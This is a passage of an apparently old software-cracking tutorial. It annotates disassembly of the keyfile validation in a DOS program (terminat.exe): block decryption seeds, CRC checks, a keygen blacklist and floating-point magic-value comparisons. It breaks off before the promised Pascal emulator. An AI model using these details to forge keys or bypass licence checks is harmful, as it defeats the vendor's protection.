validate_key+348 j 87A8:0778 mov di, [bp+arg_0] 87A8:077B mov ax, ss:[di+var_temp_AX] 87A8:0780 mov bx,
ss:[di+var_temp_BX] 87A8:0785 mov dx, ss:[di+var_temp_DX] 87A8:078A mov di, [bp+arg_0] 87A8:078D mov
ss:[di+var_real_AX_bl5], ax ; move "magic" from temp vars 87A8:0792 mov ss:[di+var_real_BX_bl5], bx ; into their
permanet loc 87A8:0797 mov ss:[di+var_real_DX_bl5], dx 87A8:079C jmp loc_77A8_8F9 ; go ot check if all blocks of keyfile
loaded? Block 11: if 5 bytes at offsets 12c,12d,12e,12f,130 = each other then Term. adjusts current CRC values: 87A8:0850
mov di, [bp+arg_0] 87A8:0853 add ss:[di+var_AX_CRC32_MAGIC], 192h 87A8:085A adc
ss:[di+var_DX_CRC32_MAGIC], 0 Also this block checked for bytes DC,64,D9,E9 at offsets 15a,15b,15c,15d because that
old "HAKE-KEY" keygen writes these bytes in every key it produces. Also this block contains global CRC of keyfile at offsets
15eh,160h and T compares calculated CRC with one stored in block 11: 87A8:08E1 ; validate_key+4BE j validate_key+4DD j
87A8:08E1 mov di, [bp+arg_0] 87A8:08E4 mov ss:[di+var_11C], 4890h ; 57544.23 87A8:08EB mov ss:[di+var_11A], 3AE1h
; this value used furhter 87A8:08F2 mov ss:[di+var_118], 60C8h ; I'll explain it later 87A8:08F9 87A8:08F9 loc_77A8_8F9: ;
CODE XREF: validate_key+23B j validate_key+2F 87A8:08F9 ; validate_key+39F j validate_key+3A9 j 87A8:08F9 cmp
keyfile_loaded_blocks_counter_word, 0Bh ; last block ? 87A8:08FE jz loc_77A8_903 ; yes 87A8:0900 jmp loc_77A8_50A ;
else again 87A8:0903 ;
87A8:0903 87A8:0903 loc_77A8_903: ; CODE XREF: validate_key+501 j 87A8:0903 mov di, [bp+arg_0] 87A8:0906 mov
ax, ss:[di+var_AX_CRC32_MAGIC] ; take just calced CRC 87A8:090B mov dx, ss:[di+var_DX_CRC32_MAGIC]
87A8:0910 les di, ss:[di+var_106] ; di=0 87A8:0915 cmp dx, es:[di+160h] ; here is compares calculated CRC with one ; stored
in block 11 of kf 87A8:091A jnz loc_77A8_92A ; this jump means "damaged key" 87A8:091C cmp ax, es:[di+15Eh]
87A8:0921 jnz loc_77A8_92A ; this jump means "damaged key" 87A8:0923 cmp word_192F_17D6, 0 ; this flag =1 when kf
opened successfuly 87A8:0928 jz loc_77A8_92D 87A8:092A loc_77A8_92A: ; CODE XREF: validate_key+51D j
validate_key+52 87A8:092A jmp loc_77A8_22A7 ; this jump means "damaged key" After T completed first check of keyfile,
it begins to decrypt main block - block 4: 87A8:092D loc_77A8_92D: ; CODE XREF: validate_key+52B j 87A8:092D mov di,
[bp+arg_0] 87A8:0930 mov ax, ss:[di+var_AX_CRC32_MAGIC] 87A8:0935 mov dx, ss:[di+var_DX_CRC32_MAGIC]
87A8:093A mov CRC_AX_WORD, ax 87A8:093D mov CRC_DX_WORD, dx 87A8:0941 add di, 0FEFEh 87A8:0945 push
ss 87A8:0946 push di ; close keyfile 87A8:0947 call @Close$qm4File ; Close(var f: File) 87A8:094C call @__IOCheck$qv ;
Exit if error 87A8:0951 mov di, [bp+arg_0] 87A8:0954 add di, 0FEFEh 87A8:0958 push ss 87A8:0959 push di 87A8:095A
mov ax, 162h 87A8:095D push ax 87A8:095E call @Reset$qm4File4Word ; open it again 87A8:0963 call @__IOCheck$qv ;
Exit if error 87A8:0968 mov some_counter_for_CRC_calc_word?, 1 87A8:096E jmp short loc_77A8_974 87A8:0970 ;
20F1:208A xor ax, ax 20F1:208C mov bx, [bp+arg_0] 20F1:208F or bx, bx 20F1:2091 jz loc_10F1_2097 20F1:2093 xchg ax,
dx 20F1:2094 div bx 20F1:2096 xchg ax, dx 20F1:2097 loc_10F1_2097: ; CODE XREF: calc_xor_mask_1+3E j 20F1:2097
pop bp 20F1:2098 retf 2 20F1:2098 calc_xor_mask_1 endp So, for second decryption T uses values 7,0 as seed for
"calc_xor_mask1": 87A8:0A0A loc_77A8_A0A: ; CODE XREF: validate_key+5D0 j 87A8:0A0A mov
magic1_for_calc_xor_mask_1_word, 7 ; init mask "seed" 87A8:0A10 mov magic2_for_calc_xor_mask_1_word, 0 87A8:0A16
mov di, [bp+arg_0] 87A8:0A19 les di, ss:[di+var_106] 87A8:0A1E seges 87A8:0A1E lea ax, [di+161h] ; set end offset for
decrypting - 161h 87A8:0A23 mov [bp+var_end_offset_of_CRC_calc?], ax 87A8:0A26 mov di, [bp+arg_0] 87A8:0A29 les di,
ss:[di+var_106] 87A8:0A2E seges 87A8:0A2E lea ax, [di+5Bh] ; set begining offset for decrypting - 5bh 87A8:0A32 cmp ax,
[bp+var_end_offset_of_CRC_calc?] 87A8:0A35 ja loc_77A8_A7F 87A8:0A37 mov some_counter_for_CRC_calc_word?, ax
87A8:0A3A jmp short loc_77A8_A40 87A8:0A3C ;
87A8:0A3C
loc_77A8_A3C: ; CODE XREF: validate_key+680 j 87A8:0A3C inc some_counter_for_CRC_calc_word? 87A8:0A40
loc_77A8_A40: ; CODE XREF: validate_key+63D j 87A8:0A40 mov ax, 100h ; arg for sub below 87A8:0A43 push ax
87A8:0A44 call calc_xor_mask_1 ; calculates xor mask 87A8:0A49 mov dx, ax 87A8:0A4B mov di, [bp+arg_0] 87A8:0A4E
les di, ss:[di+var_106] 87A8:0A53 mov ax, es 87A8:0A55 push ax 87A8:0A56 mov di, some_counter_for_CRC_calc_word?
87A8:0A5A pop es 87A8:0A5B mov al, es:[di] ; takes encrypted byte 87A8:0A5E xor ah, ah 87A8:0A60 xor ax, dx ; decrypts
it 87A8:0A62 mov dl, al 87A8:0A64 mov di, [bp+arg_0] 87A8:0A67 les di, ss:[di+var_106] 87A8:0A6C mov ax, es
87A8:0A6E push ax 87A8:0A6F mov di, some_counter_for_CRC_calc_word? 87A8:0A73 pop es 87A8:0A74 mov es:[di], dl ;
store it 87A8:0A77 mov ax, some_counter_for_CRC_calc_word? 87A8:0A7A cmp ax, [bp+var_end_offset_of_CRC_calc?] ;
enough ? 87A8:0A7D jnz loc_77A8_A3C For third decryption T uses values 325Ch,0 as seed for "calc_xor_mask1":
87A8:0A7F loc_77A8_A7F: ; CODE XREF: validate_key+638 j 87A8:0A7F mov magic1_for_calc_xor_mask_1_word, 325Ch
87A8:0A85 mov magic2_for_calc_xor_mask_1_word, 0 .... same decrypting ..... For last decryption T uses values 904h,33EEh
as seed for "calc_xor_mask1": 87A8:0AF4 loc_77A8_AF4: ; CODE XREF: validate_key+6AD j 87A8:0AF4 mov
magic1_for_calc_xor_mask_1_word, 904h 87A8:0AFA mov magic2_for_calc_xor_mask_1_word, 33EEh .... same decrypting
..... After decrypting T calcs CRC for decrypted block 4(5b-15e range) and compares it with CRC stored at offsets 15Eh,160h
in decrypted block 4. 87A8:0C04 loc_77A8_C04: ; CODE XREF: validate_key+799 j 87A8:0C04 mov di, [bp+arg_0]
87A8:0C07 les di, ss:[di+var_106] 87A8:0C0C mov ax, es:[di+15Eh] ; take CRC stored in decrypted block 4 87A8:0C11 mov
dx, es:[di+160h] 87A8:0C16 mov di, [bp+arg_0] 87A8:0C19 cmp dx, ss:[di+var_DX_CRC32_MAGIC] ; compare it with just
calculated 87A8:0C1E jnz loc_77A8_C27 87A8:0C20 cmp ax, ss:[di+var_AX_CRC32_MAGIC] 87A8:0C25 jz
loc_77A8_C2D ; CRC ok 87A8:0C27 loc_77A8_C27: ; CODE XREF: validate_key+821 j 87A8:0C27 jmp loc_77A8_22A7 ;
bad keyfile After CRC checked T begins prepare for main check. It takes 32bit CRC values from decrypted block 4, convert it
to real format, change sign if "real" CRC <0. 87A8:0C2D loc_77A8_C2D: ; CODE XREF: validate_key+828 j 87A8:0C2D
mov di, [bp+arg_0] 87A8:0C30 mov ax, ss:[di+var_AX_CRC32_MAGIC] ; take CRC from decrypted 87A8:0C35 mov dx,
ss:[di+var_DX_CRC32_MAGIC] ; block 4 87A8:0C3A call @Real$q7Longint ; convert it to real number 87A8:0C3F mov di,
[bp+arg_0] 87A8:0C42 mov ss:[di+var_temp_AX], ax ; store it to temp var 87A8:0C47 mov ss:[di+var_temp_BX], bx ;
87A8:0C4C mov ss:[di+var_temp_DX], dx ; 87A8:0C51 mov ax, ss:[di+var_temp_AX] 87A8:0C56 mov bx,
ss:[di+var_temp_BX] 87A8:0C5B mov dx, ss:[di+var_temp_DX] 87A8:0C60 xor cx, cx ;0 87A8:0C62 xor si, si 87A8:0C64
xor di, di 87A8:0C66 call @__Cmp$q4Realt1 ; "real" CRC <0 ? 87A8:0C6B jnb loc_77A8_C9E ; no 87A8:0C6D mov di,
[bp+arg_0] ; yes, change sign 87A8:0C70 mov ax, ss:[di+var_temp_AX] 87A8:0C75 mov bx, ss:[di+var_temp_BX]
87A8:0C7A mov dx, ss:[di+var_temp_DX] 87A8:0C7F mov cx, 81h ; '' ; -1 87A8:0C82 xor si, si 87A8:0C84 mov di, 8000h
87A8:0C87 call @$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI) 87A8:0C8C mov di, [bp+arg_0] 87A8:0C8F mov
ss:[di+var_temp_AX], ax 87A8:0C94 mov ss:[di+var_temp_BX], bx 87A8:0C99 mov ss:[di+var_temp_DX], dx 87A8:0C9E
loc_77A8_C9E: ; CODE XREF: validate_key+86E j 87A8:0C9E mov di, [bp+arg_0] 87A8:0CA1 mov ax,
ss:[di+var_temp_AX] 87A8:0CA6 mov bx, ss:[di+var_temp_BX] 87A8:0CAB mov dx, ss:[di+var_temp_DX] 87A8:0CB0
mov di, [bp+arg_0] 87A8:0CB3 mov ss:[di+var_real_AX_bl4], ax ; store "real" CRC from 87A8:0CB8 mov
ss:[di+var_real_BX_bl4], bx ; decrypted block 4 87A8:0CBD mov ss:[di+var_real_DX_bl4], dx ; to it permanent var ... Add to
"real" CRC 10 and compares this value with "magic" from block5. If they don't = then T sub 10 from "real" CRC of block 4
and again compare this value with "magic" from block5. 87A8:0D10 mov ax, ss:[di+var_real_AX_bl4] ; 87A8:0D15 mov bx,
ss:[di+var_real_BX_bl4] ; 87A8:0D1A mov dx, ss:[di+var_real_DX_bl4] ; 87A8:0D1F mov cx, 84h ; 10 87A8:0D22 xor si, si
87A8:0D24 mov di, 2000h 87A8:0D27 call @$brplu$q4Realt1 ; add 10 87A8:0D2C mov di, [bp+arg_0] 87A8:0D2F mov cx,
ss:[di+var_real_AX_bl5] ;compare value we got after + 87A8:0D34 mov si, ss:[di+var_real_BX_bl5] ; with "magic" from
block 5 87A8:0D39 mov di, ss:[di+var_real_DX_bl5] 87A8:0D3E call @__Cmp$q4Realt1 ; Compare two reals 87A8:0D43 jz
loc_77A8_D7D ; jump if they equal 87A8:0D45 mov di, [bp+arg_0] 87A8:0D48 mov ax, ss:[di+var_real_AX_bl4]
87A8:0D4D mov bx, ss:[di+var_real_BX_bl4] 87A8:0D52 mov dx, ss:[di+var_real_DX_bl4] 87A8:0D57 mov cx, 84h ; 10
87A8:0D5A xor si, si 87A8:0D5C mov di, 2000h 87A8:0D5F call @$brmin$q4Realt1 ; else try to sub 10 87A8:0D64 mov di,
[bp+arg_0] 87A8:0D67 mov cx, ss:[di+var_real_AX_bl5] 87A8:0D6C mov si, ss:[di+var_real_BX_bl5] 87A8:0D71 mov di,
ss:[di+var_real_DX_bl5] 87A8:0D76 call @__Cmp$q4Realt1 ; compare again 87A8:0D7B jnz loc_77A8_DC6 ; jump if dont
= 87A8:0D7D loc_77A8_D7D: ; CODE XREF: validate_key+946 j 87A8:0D7D mov di,
[bp+arg_0] ... junk 87A8:0DC4 jmp short
loc_77A8_DF8 7A8:0DC6 loc_77A8_DC6: ; CODE
XREF: validate_key+97E j < 7A8:0DC6 mov di, [bp+arg_0] 7A8:0DC9 mov ax, ss:[di+var_11C] ; this value was set
above in sub 7A8:0DCE mov bx, ss:[di+var_11A] ; it was 57544.23 7A8:0DD3 mov dx, ss:[di+var_118] ; It will be used in
future check 7A8:0DD8 mov cx, 1F8Eh ; 9823.23 7A8:0DDB mov si, 0EB85h ; so if we multiply it here we won't
7A8:0DDE mov di, 197Ch ; bypass next check( I'll explain this later) 7A8:0DE1 call @$brmul$q4Realt1 ; So this is very
smart way to set flag 7A8:0DE6 mov di, [bp+arg_0] 7A8:0DE9 mov ss:[di+var_11C], ax 7A8:0DEE mov ss:[di+var_11A],
bx 7A8:0DF3 mov ss:[di+var_118], dx 7A8:0DF8 7A8:0DF8 loc_77A8_DF8: ; CODE XREF: validate_key+9C7 j
< 7A8:0DF8 mov di, [bp+arg_0] 7A8:0DFB add di, 0FF80h 7A8:0DFF push ss 7A8:0E00 push di 7A8:0E01 mov di,
[bp+arg_0] 7A8:0E04 push ss:[di+var_real_DX_bl5] ; push "magic" from block 5 7A8:0E09 push ss:[di+var_real_BX_bl5] ;
7A8:0E0E push ss:[di+var_real_AX_bl5] ; 7A8:0E13 push ss:[di+var_118] ; flag , by default =57544.23 7A8:0E18 push
ss:[di+var_11A] ; but if "magic" from block 5 doesn't =("real" CRC from block4 + 10) 7A8:0E1D push ss:[di+var_11C] ; and
doesn't=("real" CRC from block4-10) then var118*=9823.23 and 7A8:0E22 push ss:[di+var_real_DX_bl4] ; this won't let us to
bypass next checks 7A8:0E27 push ss:[di+var_real_BX_bl4] ; 7A8:0E2C push ss:[di+var_real_AX_bl4] ; push "real" CRC
from decrypted block 4 7A8:0E31 call j_check_integrity ; here in very tricky way "real" CRC and "magic" compared. This sub
uses many fakes to stop us, it was really mess untill I rewrote math part of this sub in pascal and simplify it - only then I was
able to see which operations were fakes and which were real and used. And whats more funny, there are several decrypted
"motivation" messages in this sub, T decrypts them during other job, doesn't print, only decrypts, its specially made for crackers
which will explore code :)) Just for example: 97E8:16B1 lea di, [bp+var_218] 97E8:16B5 push ss 97E8:16B6 push di
97E8:16B7 lea di, [bp+var_118] 97E8:16BB push ss 97E8:16BC push di 97E8:16BD mov di, offset unk_87E8_F23
97E8:16C0 push cs 97E8:16C1 push di 97E8:16C2 call @$basg$qm6Stringt1 ; Load string 97E8:16C7 mov ax, 8374h
97E8:16CA xor dx, dx 97E8:16CC push dx 97E8:16CD push ax 97E8:16CE mov ax, 0FCEBh 97E8:16D1 mov dx, 0BABEh
97E8:16D4 push dx 97E8:16D5 push ax 97E8:16D6 call decrypt_string_and_verify_it ; "You are a weak lamer...." 97E8:16DB
lea di, [bp+var_CA] 97E8:16DF push ss 97E8:16E0 push di 97E8:16E1 mov ax, 32h ; '2' 97E8:16E4 push ax 97E8:16E5 call
@$basg$qm6Stringt14Byte ; Store string And so on, like "I would not go there if i were you...", "I also HATE debugging
floating point op..", "Why does an inteligent guy like you...", "Wizard your time is running out...", and T even begins to count
seconds left before my death :)) Then it decrypts last one "End of motivation messages.Thank you for support good product...".
Very funny and I must admit that those msgs were really very motivating and helped me not to stop exploring this boring
procedure :) Ok, lets get back to "check_integrity" itself: 97E8:1085 check_integrity proc far ; CODE XREF: j_check_integrity
J ; I include all vars here specially coz I used same vars names in my ; Pascal program 97E8:1085 var_418= byte ptr -418h
97E8:1085 var_318= byte ptr -318h 97E8:1085 var_30C= byte ptr -30Ch 97E8:1085 var_2D0= byte ptr -2D0h 97E8:1085
var_21C= byte ptr -21Ch 97E8:1085 var_218= byte ptr -218h 97E8:1085 var_214= byte ptr -214h 97E8:1085 var_210= byte
ptr -210h 97E8:1085 var_20C= byte ptr -20Ch 97E8:1085 var_20A= byte ptr -20Ah 97E8:1085 var_208= byte ptr -208h
97E8:1085 var_1DC= byte ptr -1DCh 97E8:1085 var_1D0= byte ptr -1D0h 97E8:1085 var_11C= byte ptr -11Ch 97E8:1085
var_118= byte ptr -118h 97E8:1085 var_114= byte ptr -114h 97E8:1085 var_110= byte ptr -110h 97E8:1085 var_10C= byte
ptr -10Ch 97E8:1085 var_10A= byte ptr -10Ah 97E8:1085 var_108= byte ptr -108h 97E8:1085 var_DC= byte ptr -0DCh
97E8:1085 var_D0= byte ptr -0D0h 97E8:1085 var_CB= byte ptr -0CBh 97E8:1085 var_CA= byte ptr -0CAh 97E8:1085
var_96= word ptr -96h 97E8:1085 var_94= word ptr -94h 97E8:1085 var_92= word ptr -92h 97E8:1085 var_90= word ptr -90h
97E8:1085 var_8E= word ptr -8Eh 97E8:1085 var_8C= word ptr -8Ch 97E8:1085 var_AX_bl_4= word ptr -8Ah 97E8:1085
var_BX_bl_4= word ptr -88h 97E8:1085 var_DX_bl_4= word ptr -86h 97E8:1085 var_84= word ptr -84h 97E8:1085 var_82=
word ptr -82h 97E8:1085 var_80= word ptr -80h 97E8:1085 var_7E= word ptr -7Eh 97E8:1085 var_7C= word ptr -7Ch
97E8:1085 var_7A= word ptr -7Ah 97E8:1085 var_Date_AX= word ptr -78h 97E8:1085 var_Date_BX= word ptr -76h
97E8:1085 var_Date_DX= word ptr -74h 97E8:1085 var_X4_AX= word ptr -72h 97E8:1085 var_X4_BX= word ptr -70h
97E8:1085 var_X4_DX= word ptr -6Eh 97E8:1085 var_6C= word ptr -6Ch 97E8:1085 var_6A= word ptr -6Ah 97E8:1085
var_68= word ptr -68h 97E8:1085 var_X5_AX= word ptr -66h 97E8:1085 var_X5_BX= word ptr -64h 97E8:1085
var_X5_DX= word ptr -62h 97E8:1085 var_X3_AX= word ptr -60h 97E8:1085 var_X3_BX= word ptr -5Eh 97E8:1085
var_X3_DX= word ptr -5Ch 97E8:1085 var_AX_bl_5= word ptr -5Ah 97E8:1085 var_AX_bl_5= word ptr -5Ah 97E8:1085
var_BX_bl_5= word ptr -58h 97E8:1085 var_DX_bl_5= word ptr -56h 97E8:1085 var_X2_AX= word ptr -54h 97E8:1085
var_X2_BX= word ptr -52h 97E8:1085 var_X2_DX= word ptr -50h 97E8:1085 var_X1_AX= word ptr -4Eh 97E8:1085
var_X1_BX= word ptr -4Ch 97E8:1085 var_X1_DX= word ptr -4Ah 97E8:1085 var_47= byte ptr -47h 97E8:1085 var_46=
word ptr -46h 97E8:1085 var_44= word ptr -44h 97E8:1085 var_42= word ptr -42h 97E8:1085 var_40= word ptr -40h
97E8:1085 var_3E= word ptr -3Eh 97E8:1085 var_3C= word ptr -3Ch 97E8:1085 var_AX_11c= word ptr -3Ah 97E8:1085
var_BX_11c= word ptr -38h 97E8:1085 var_DX_11c= word ptr -36h 97E8:1085 var_34= word ptr -34h 97E8:1085 var_32=
word ptr -32h 97E8:1085 var_30= word ptr -30h 97E8:1085 var_2E= word ptr -2Eh 97E8:1085 var_2C= word ptr -2Ch
97E8:1085 var_2A= word ptr -2Ah 97E8:1085 var_28= word ptr -28h 97E8:1085 var_26= word ptr -26h 97E8:1085 var_24=
word ptr -24h 97E8:1085 var_22= word ptr -22h 97E8:1085 var_20= word ptr -20h 97E8:1085 var_1E= word ptr -1Eh
97E8:1085 var_1C= word ptr -1Ch 97E8:1085 var_1A= word ptr -1Ah 97E8:1085 var_18= word ptr -18h 97E8:1085 var_16=
word ptr -16h 97E8:1085 var_14= word ptr -14h 97E8:1085 var_12= word ptr -12h 97E8:1085 var_10= word ptr -10h
97E8:1085 var_E= word ptr -0Eh 97E8:1085 var_mul_const_AX_1= word ptr -0Ch 97E8:1085 var_mul_const_BX_1= word
ptr -0Ah 97E8:1085 var_mul_const_DX_1= word ptr -8 97E8:1085 var_6= word ptr -6 97E8:1085 var_4= word ptr -4
97E8:1085 var_2= word ptr -2 97E8:1085 arg_AX_bl_4= word ptr 6 97E8:1085 arg_BX_bl_4= word ptr 8 97E8:1085
arg_DX_bl_4= word ptr 0Ah 97E8:1085 arg_AX_11c= word ptr 0Ch 97E8:1085 arg_BX_11c= word ptr 0Eh 97E8:1085
arg_DX_11c= word ptr 10h 97E8:1085 arg_AX_bl_5= word ptr 12h 97E8:1085 arg_BX_bl_5= word ptr 14h 97E8:1085
arg_DX_bl_5= word ptr 16h 97E8:1085 arg_x= dword ptr 18h 97E8:1085 97E8:1085 push bp 97E8:1086 mov bp, sp
97E8:1088 sub sp, 418h 97E8:108C mov byte_192F_23E, 1 97E8:1091 mov al, 1 97E8:1093 push ax 97E8:1094 call
j_get_time_and_some_shet 97E8:1099 mov [bp+var_6], 94h ; look at those MF'ers hehehe 97E8:109E mov [bp+var_4],
0A000h ; this stuff = 666666.0 97E8:10A3 mov [bp+var_2], 22C2h 97E8:10A8 mov ax, [bp+var_6] ; init a lot of vars
97E8:10AB mov bx, [bp+var_4] ; with 666666.0 97E8:10AE mov dx, [bp+var_2] 97E8:10B1 mov
[bp+var_mul_const_AX_1], ax 97E8:10B4 mov [bp+var_mul_const_BX_1], bx 97E8:10B7 mov [bp+var_mul_const_DX_1],
dx 97E8:10BA mov ax, [bp+var_6] 97E8:10BD mov bx, [bp+var_4] 97E8:10C0 mov dx, [bp+var_2] 97E8:10C3 mov
[bp+var_12], ax 97E8:10C6 mov [bp+var_10], bx 97E8:10C9 mov [bp+var_E], dx .... and so on Then go a lot of floating point
operations. I included almost all of them here. After that I included my program in Pascal which emulates work of math part of
this sub. 97E8:13D0 ; check_integrity+318 j 97E8:13D0 mov [bp+var_6], 0B95h 97E8:13D5 mov [bp+var_4], 7622h ;
1559918.7666 97E8:13DA mov [bp+var_2], 3E6Bh 97E8:13DF mov ax, [bp+arg_AX_bl_4] ; 97E8:13E2 mov bx,
[bp+arg_BX_bl_4] ; 97E8:13E5 mov dx, [bp+arg_DX_bl_4] ; 97E8:13E8 mov [bp+var_AX_bl_4], ax 97E8:13EC mov
[bp+var_BX_bl_4], bx 97E8:13F0 mov [bp+var_DX_bl_4], dx ..... 97E8:1428 call @$basg$qm6Stringt14Byte ; Store string
97E8:142D mov ax, 0DA95h ; 1485845.7817 97E8:1430 mov bx, 0AE40h 97E8:1433 mov dx, 3560h 97E8:1436 mov cx,
[bp+var_6] ; 1559918.7666 97E8:1439 mov si, [bp+var_4] 97E8:143C mov di, [bp+var_2] 97E8:143F call @$brmul$q4Realt1
; mul them = 2317798719100.0 97E8:1444 mov cx, 508Ch ; and mul them on 2313.412 = 97E8:1447 mov si, 978Dh
97E8:144A mov di, 1096h 97E8:144D call @$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI) 97E8:1452 mov cx,
[bp+var_12] ; and mul them on 666666.0 = 97E8:1455 mov si, [bp+var_10] 97E8:1458 mov di, [bp+var_E] 97E8:145B call
@$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI) 97E8:1460 mov [bp+var_mul_const_AX_1], ax 97E8:1463 mov
[bp+var_mul_const_BX_1], bx 97E8:1466 mov [bp+var_mul_const_DX_1], dx 97E8:1469 mov [bp+var_X1_AX], 0E8Ch ;
2738.231 97E8:146E mov [bp+var_X1_BX], 0B22Dh 97E8:1473 mov [bp+var_X1_DX], 2B23h 97E8:1478 mov
[bp+var_X4_AX], 508Ch ; 2313.412 97E8:147D mov [bp+var_X4_BX], 978Dh ; -|-|- 97E8:1482 mov [bp+var_X4_DX],
1096h ; -|-|- 97E8:1487 mov [bp+var_X2_AX], 0C98Eh ; 9823.436 97E8:148C mov [bp+var_X2_BX], 0BE76h 97E8:1491
mov [bp+var_X2_DX], 197Dh .... 97E8:14CF mov [bp+var_X3_AX], 6D8Dh ; 7863.123 97E8:14D4 mov [bp+var_X3_BX],
0FBE7h 97E8:14D9 mov [bp+var_X3_DX], 75B8h 97E8:14DE mov [bp+var_X5_AX], 0BE8Ch ; 2313.444 97E8:14E3 mov
[bp+var_X5_BX], 1A9Fh 97E8:14E8 mov [bp+var_X5_DX], 1097h 97E8:14ED mov ax, [bp+arg_AX_11c] ; 97E8:14F0 mov
bx, [bp+arg_BX_11c] ; 97E8:14F3 mov dx, [bp+arg_DX_11c] ; 97E8:14F6 mov [bp+var_AX_11c], ax 97E8:14F9 mov
[bp+var_BX_11c], bx 97E8:14FC mov [bp+var_DX_11c], dx 97E8:14FF mov [bp+var_22], 666Fh 97E8:1504 mov
[bp+var_20], 0FFFFh 97E8:1509 mov ax, [bp+arg_AX_bl_5] ; 97E8:150C mov bx, [bp+arg_BX_bl_5] ; 97E8:150F mov dx,
[bp+arg_DX_bl_5] ; 97E8:1512 mov [bp+var_AX_bl_5], ax 97E8:1515 mov [bp+var_BX_bl_5], bx 97E8:1518 mov
[bp+var_DX_bl_5], dx 97E8:151B mov [bp+var_12], 0BF94h ; 989856.94159 97E8:1520 mov [bp+var_10], 0F10h ...
97E8:1564 mov ax, [bp+var_AX_bl_4] ; here we mul values from block4 with 97E8:1568 mov bx, [bp+var_BX_bl_4]
97E8:156C mov dx, [bp+var_DX_bl_4] 97E8:1570 mov cx, [bp+var_X4_AX] ; 508c 97E8:1573 mov si, [bp+var_X4_BX] ;
978d 97E8:1576 mov di, [bp+var_X4_DX] ; 1096 97E8:1579 call @$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI)
97E8:157E mov cx, [bp+var_AX_bl_5] ; then sub values from block 5 97E8:1581 mov si, [bp+var_BX_bl_5] 97E8:1584 mov
di, [bp+var_DX_bl_5] 97E8:1587 call @$brmin$q4Realt1 ; Real(AX:BX:DX)-=Real(CX:SI:DI) 97E8:158C mov
[bp+var_AX_bl_4], ax ; save results 97E8:1590 mov [bp+var_BX_bl_4], bx 97E8:1594 mov [bp+var_DX_bl_4], dx
97E8:1598 mov ax, 392h ; 235845.76666 97E8:159B mov bx, 7111h 97E8:159E mov dx, 6651h 97E8:15A1 mov cx,
[bp+var_X4_AX] ; constants 97E8:15A4 mov si, [bp+var_X4_BX] 97E8:15A7 mov di, [bp+var_X4_DX] 97E8:15AA call
@$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI) 97E8:15AF mov cx, [bp+arg_AX_bl_4] ; again use values from
block 4 97E8:15B2 mov si, [bp+arg_BX_bl_4] 97E8:15B5 mov di, [bp+arg_DX_bl_4] 97E8:15B8 call @$brmul$q4Realt1 ;
Real(AX:BX:DX)*=Real(CX:SI:DI) 97E8:15BD mov [bp+var_18], ax 97E8:15C0 mov [bp+var_16], bx 97E8:15C3 mov
[bp+var_14], dx 97E8:15C6 mov ax, 4890h ; 44545.781666 97E8:15C9 mov bx, 0C81Bh 97E8:15CC mov dx, 2E01h
97E8:15CF mov cx, [bp+var_18] 97E8:15D2 mov si, [bp+var_16] 97E8:15D5 mov di, [bp+var_14] 97E8:15D8 call
97E8:1AF8 loc_87E8_1AF8: ; CODE XREF: check_integrity+A6E j 97E8:1AF8 mov ax, [bp+var_X2_AX] 97E8:1AFB mov
bx, [bp+var_X2_BX] 97E8:1AFE mov dx, [bp+var_X2_DX] 97E8:1B01 mov cx, 358Dh ; 7823.466 97E8:1B04 mov si,
0BA5Eh 97E8:1B07 mov di, 747Bh 97E8:1B0A call @__Cmp$q4Realt1 ; Compare two reals 97E8:1B0F ja loc_87E8_1B14
97E8:1B11 jmp loc_87E8_191C ; back to check integrity on terminat.exe 97E8:1B14 ;
97E8:1B14 loc_87E8_1B14: ; CODE XREF: check_integrity+A8A j 97E8:1B14 mov ax, [bp+var_X3_AX] 97E8:1B17 mov
bx, [bp+var_X3_BX] 97E8:1B1A mov dx, [bp+var_X3_DX] 97E8:1B1D mov cx, 9C94h ; 587863.173 97E8:1B20 mov si,
72C4h 97E8:1B23 mov di, 0F85h 97E8:1B26 call @__Cmp$q4Realt1 ; Compare two reals 97E8:1B2B jb loc_87E8_1B30
97E8:1B2D jmp loc_87E8_191C 97E8:1B30 ;
97E8:1B30 loc_87E8_1B30: ; CODE XREF: check_integrity+AA6 j 97E8:1B30 mov ax, [bp+var_X4_AX] 97E8:1B33 mov
bx, [bp+var_X4_BX] 97E8:1B36 mov dx, [bp+var_X4_DX] 97E8:1B39 mov cx, 5294h ; 575498.545 97E8:1B3C mov si,
0A8B8h 97E8:1B3F mov di, 0C80h 97E8:1B42 call @__Cmp$q4Realt1 ; Compare two reals 97E8:1B47 jb loc_87E8_1B4C
97E8:1B49 jmp loc_87E8_191C 97E8:1B4C ;
97E8:1B4C loc_87E8_1B4C: ; CODE XREF: check_integrity+AC2 j 97E8:1B4C mov ax, [bp+var_X5_AX] 97E8:1B4F mov
bx, [bp+var_X5_BX] 97E8:1B52 mov dx, [bp+var_X5_DX] 97E8:1B55 mov cx, 8B8Ch ; 2213.494 97E8:1B58 mov si,
0E76Ch 97E8:1B5B mov di, 0A57h 97E8:1B5E call @__Cmp$q4Realt1 ; Compare two reals 97E8:1B63 ja loc_87E8_1B68
97E8:1B65 jmp loc_87E8_191C 97E8:1B68 ;
97E8:1B68 loc_87E8_1B68: ; CODE XREF: check_integrity+ADE j 97E8:1B68 mov byte_192F_112D, 1 97E8:1B6D call
j_some_check_n_bad_noise 97E8:1B72 mov byte_192F_E414, 7 97E8:1B77 call sub_153E_E09 97E8:1B7C mov
byte_192F_23E, 0 97E8:1B81 loc_87E8_1B81: ; CODE XREF: check_integrity+348 j 97E8:1B81 mov sp, bp 97E8:1B83 pop
bp 97E8:1B84 retf 16h 97E8:1B84 check_integrity endp Here is my proggy in Pascal. You can compile it with TP6 and run. It
will write "Key is valid", because by default I use values which lead us to valid key. You can change g_bl4 to whatever you
want (this var emulates "real" CRC from decrypted block 4), g_bl5 is calculated in right way. If you try to add someting other
than 10 or sub or whatever you get "Key is not valid". For full explantation see comments in source. I use same vars names as
in Ida listing,e.g. 97E8:1743 mov ax, [bp+var_AX_bl_5] ; 97E8:1746 mov bx, [bp+var_BX_bl_5] 97E8:1749 mov dx,
[bp+var_DX_bl_5] 97E8:174C mov [bp+var_X2_AX], ax 97E8:174F mov [bp+var_X2_BX], bx 97E8:1752 mov
[bp+var_X2_DX], dx will be: X2:=bl_5; Anyway, here is pascal source: {--------------------------- cut
